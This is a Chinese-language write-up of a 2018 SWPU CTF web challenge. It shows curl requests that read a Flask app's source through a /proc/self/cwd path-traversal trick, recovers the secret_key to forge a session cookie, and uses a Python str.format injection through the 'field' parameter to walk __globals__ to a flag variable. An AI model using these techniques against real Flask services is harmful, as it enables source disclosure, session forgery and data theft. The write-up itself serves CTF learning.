Flask_伪造Cookie和格式化字符串漏洞(2018_SWPU_CTF_皇家线上赌场)

查看信息

查看源码和提示信息:

查看tips:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
root@osboxes:~/risk_Down/tools# curl http://107.167.188.241/source
[root@localhost]# tree web
web/
├── app
│ ├── forms.py
│ ├── __init__.py
│ ├── models.py
│ ├── static
│ ├── templates
│ ├── utils.py
│ └── views.py
├── req.txt
├── run.py
├── server.log
├── start.sh
└── uwsgi.ini
[root@localhost]# cat views.py.bak
filename = request.args.get('file', 'test.js')
if filename.find('..') != -1:
return abort(403)
filename = os.path.join('app/static', filename)

通过文件包含读取源码

通过static?file=test.js得知文件包含,
能读passwd,但不能直接读取源码,结合views.py.bak可能需要绕过。

不能通过 /home/ctf/web/app 绝对路径读取,不能使用 .. 跳转上层目录。

1
2
if filename != '/home/ctf/web/app/static/test.js' and filename.find('/home/ctf/web/app') != -1:
return abort(404)

换个思路:/proc/self

1
2
3
/proc 是一个伪文件系统, 被用作内核数据结构的接口
系统中当前运行的每一个进程都有对应的一个目录在/proc下,以进程的 PID号为目录名,它们是读取进程信息的接口。而self目录则是读取进程本身的信息接口,是一个link。
/proc/[pid]/cwd 是进程当前工作目录的符号链接。

这里还利用了 os.path.join函数一个特性:

Python os.path.join 方法将一个或多个路径正确地连接起来。
如果任何一个参数是绝对路径,那之前的参数就会被丢弃,然后连接继续(如果在Windows上,如果有盘符,盘符也会被丢弃),也即第一个绝对路径之前的参数将被忽略。

传参:file=/proc/self/cwd/app/views.py
读取源码和secret_key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
root@osboxes:~/risk_Down/tools# curl http://107.167.188.241/static?file=/proc/self/cwd/app/views.py
def register_views(app):
@app.before_request
def reset_account():
if request.path == '/signup' or request.path == '/login':
return
uname = username=session.get('username')
u = User.query.filter_by(username=uname).first()
if u:
g.u = u
g.flag = 'swpuctf{xxxxxxxxxxxxxx}'
if uname == 'admin':
return
now = int(time())
if (now - u.ts >= 600):
u.balance = 10000
u.count = 0
u.ts = now
u.save()
session['balance'] = 10000
session['count'] = 0

@app.route('/getflag', methods=('POST',))
@login_required
def getflag():
u = getattr(g, 'u')
if not u or u.balance < 1000000:
return '{"s": -1, "msg": "error"}'
field = request.form.get('field', 'username')
mhash = hashlib.sha256(('swpu++{0.' + field + '}').encode('utf-8')).hexdigest()
jdata = '{{"{0}":' + '"{1.' + field + '}", "hash": "{2}"}}'
return jdata.format(field, g.u, mhash)

root@osboxes:~/risk_Down/tools# curl http://107.167.188.241/static?file=/proc/self/cwd/app/__init__.py
from flask import Flask
from flask_sqlalchemy import SQLAlchemy
from .views import register_views
from .models import db


def create_app():
app = Flask(__name__, static_folder='')
app.secret_key = '9f516783b42730b7888008dd5c15fe66'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:////tmp/test.db'
register_views(app)
db.init_app(app)
return app

通过secret_key伪造Session


访问本地获取伪造Session。
余额有了,发现还是买不了,尴尬,Burp抓包发现怎么还有个POST参数啊。
分析源码:

1
2
3
4
5
6
7
8
9
10
@app.route('/getflag', methods=('POST',))
@login_required
def getflag():
u = getattr(g, 'u')
if not u or u.balance < 1000000:
return '{"s": -1, "msg": "error"}'
field = request.form.get('field', 'username')
mhash = hashlib.sha256(('swpu++{0.' + field + '}').encode('utf-8')).hexdigest()
jdata = '{{"{0}":' + '"{1.' + field + '}", "hash": "{2}"}}'
return jdata.format(field, g.u, mhash)

利用python继承链去读取g.flag

通过源码得知:
拼接 1.filed 其中1为g.u

1
2
3
g.u = u
u = User.query.filter_by(username=uname).first()
u就是models中的User类对象

通过save方法,globals,向上跳转,找到flag变量,
app和g是同级的,通过db跳到app。
通过源码中的@app.before_request跳到g

save.globals[db].init.globals[current_app].before_request.globals[g].flag


拿到flag:swpuctf{tHl$_15_4_f14G}

附上源码:链接:https://pan.baidu.com/s/1UqaXJFikUrU56xjcc3wx2Q
提取码:psay